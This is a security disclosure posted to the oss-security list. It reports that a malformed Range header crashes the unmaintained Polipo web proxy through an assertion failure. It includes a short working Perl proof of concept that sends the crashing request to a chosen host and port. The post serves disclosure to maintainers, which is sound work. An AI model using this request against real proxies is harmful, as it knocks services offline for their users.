oss-security - Polipo: denial-of-service using range

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Date: Wed, 18 Nov 2020 17:12:06 +0200
From: Alexandr Savca (chinarulezzz) <alexandr.savca89@...il.com>
To: oss-security@...ts.openwall.com
Subject: Polipo: denial-of-service using range

Hi all,


I suppose I found a vulnerability in the Polipo [1],
lightweight, caching web proxy.


Since the author wrote that he no longer maintains this project [2]
I decided to write here because polipo is widely used in Linux/BSD [3],
and there are many maintainers.


Summary
=======

It is possible to cause a denial of service through a specific
Range header value.


Overview
========

RFC7233 states [4]:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
A server that supports range requests MAY ignore or reject a Range
header field that consists of more than two overlapping ranges, or a
set of many small ranges that are not listed in ascending order,
since both are indications of either a broken client or a deliberate
denial-of-service attack (Section 6.1). ...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Polipo doesn't ignore/reject the malformed header. Instead, it has
an assertion:

    server.c:1473: assert(from >= 0 && (to < 0 || to > from));

So, a malformed Range header ("Range: bytes=3-2" for example) will
cause an assertion failed.  This error handling allows an attacker
to cause a denial of service.


PoC
===

#!/usr/bin/perl
use autodie;
use Socket;

$host = $ARGV[0];
$port = $ARGV[1];

$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');

socket(SOCK, PF_INET, SOCK_STREAM, $proto);
connect(SOCK, $paddr);
send(SOCK, "GET http:// HTTP/1.1\r\n", 0);
send(SOCK, "Range: bytes=3-2\r\n\r\n", 0);
print while <SOCK>;


Affected Versions
=================

All


Links
=====

[1] https://www.irif.fr/~jch//software/polipo/

[2] https://github.com/jech/polipo/commit/4d42ca1b5849518762d110f34b6ce2e03d6df9ec

[3] https://repology.org/project/polipo/badges

[4] https://tools.ietf.org/html/rfc7233#section-3.1

-- 
Kind Regards,
Alexandr

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